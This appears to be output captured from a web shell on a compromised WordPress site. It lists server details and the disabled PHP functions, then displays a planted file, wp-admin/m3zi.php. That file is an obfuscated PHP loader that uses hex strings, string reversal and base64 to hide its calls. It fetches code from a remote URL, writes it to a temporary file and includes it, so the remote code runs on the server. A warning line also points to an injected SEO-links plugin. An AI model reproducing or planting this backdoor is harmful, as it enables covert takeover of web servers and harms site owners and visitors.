Warning: Constant SEO_LINKS_API_ENDPOINT already defined in /www/wwwroot/fni.gov.mz/wp-content/plugins/wordpress-plugin/wordpress-plugin.php on line 10
HEX
HEX
Server: Apache
System: Linux paginas.localdomain 4.15.0-200-generic #211-Ubuntu SMP Thu Nov 24 18:16:04 UTC 2022 x86_64
User: www (1002)
PHP: 8.0.11
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/fni.gov.mz/wp-admin/m3zi.php
<?php
$arr = array(
    "\x3D\x51\x44\x4D\x68\x56\x7A\x59\x6A\x4A\x57\x59\x6D\x56\x6A\x4D\x33\x63\x54\x59\x69\x46\x6A\x4D\x7A\x55\x54\x4E\x6B\x5A\x57\x4D\x35\x41\x7A\x4E\x6B\x4E\x32\x4D\x77\x55\x6A\x4D", // 0
    "\x3D\x3D\x51\x5A\x73\x6C\x6D\x5A", // 1
    "\x3D\x3D\x51\x5A\x73\x6C\x6D\x5A\x77\x31\x47\x64", // 2
    "\x6C\x52\x58\x61\x79\x64\x6E\x5A", // 3
    "\x53\x61\x6E\x74\x61\x69\x20\x44\x75\x6C\x75\x20\x47\x61\x6B\x20\x53\x69\x68", // 4
    "\x3D\x45\x47\x64\x68\x52\x32\x58\x68\x52\x58\x5A\x74\x39\x46\x64\x6C\x64\x32\x58\x74\x46\x57\x5A\x79\x52\x33\x63", // 5
    "\x6C\x4E\x33\x62\x73\x4E\x6D\x5A", // 6
    "\x5A\x57\x52\x76\x59\x32\x56\x6B\x58\x7A\x51\x32\x5A\x58\x4E\x68\x59\x67\x3D\x3D", // 7
    "\x42\x75\x73\x65\x74\x20\x6C\x75\x20\x62\x69\x73\x61\x20\x73\x61\x6E\x74\x61\x69\x20\x67\x61\x6B\x20\x73\x69\x68", // 8
    "\x73\x74\x72\x72\x65\x76", // 9
    "\x65\x64\x6F\x63\x65\x64\x5F\x34\x36\x65\x73\x61\x62", // 10
    "\x6C\x78\x57\x61\x6D\x39\x46\x63\x74\x56\x47\x64", // 11
    "\x6e\x42\x6e\x61\x75\x67\x6a\x4e\x6b\x4a\x44\x4e\x30\x63\x54\x4e\x7a\x45\x54\x4d\x77\x30\x43\x4f\x77\x4d\x54\x4f\x74\x45\x7a\x4e\x6d\x52\x54\x4c\x69\x5a\x44\x4f\x6a\x31\x53\x4f\x30\x59\x6d\x4d\x31\x67\x54\x5a\x78\x30\x53\x4f\x78\x63\x6a\x4e\x79\x6b\x54\x4f\x7a\x49\x7a\x4c\x32\x41\x54\x4d\x33\x4d\x54\x4d\x30\x4d\x54\x4d\x76\x30\x32\x62\x6a\x35\x43\x64\x75\x56\x47\x64\x75\x39\x32\x59\x79\x56\x32\x63\x31\x4a\x57\x64\x6f\x52\x58\x61\x6e\x35\x79\x63\x6c\x64\x57\x59\x74\x6c\x57\x4c\x79\x56\x32\x63\x31\x39\x79\x4c\x36\x4d\x48\x63\x30\x52\x48\x61", // 12
);


$uu = $arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[1]))($arr[9]($arr[10])($arr[9]($arr[12])));

foreach($uu as $aww){

$awww = $arr[9]($arr[9]($arr[10])($arr[7]))($aww);

}
$password = ""; // programmers

$temp_file = $arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[2]))();
$arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[3]))($GLOBALS[$arr[9]($arr[10])($arr[9]($arr[11]))], $awww);
include $arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[5]))($GLOBALS[$arr[9]($arr[10])($arr[9]($arr[11]))])['uri'];
$arr[9]($arr[9]($arr[10])($arr[7]))($arr[9]($arr[6]))($GLOBALS[$arr[9]($arr[10])($arr[9]($arr[11]))]);
unset($array);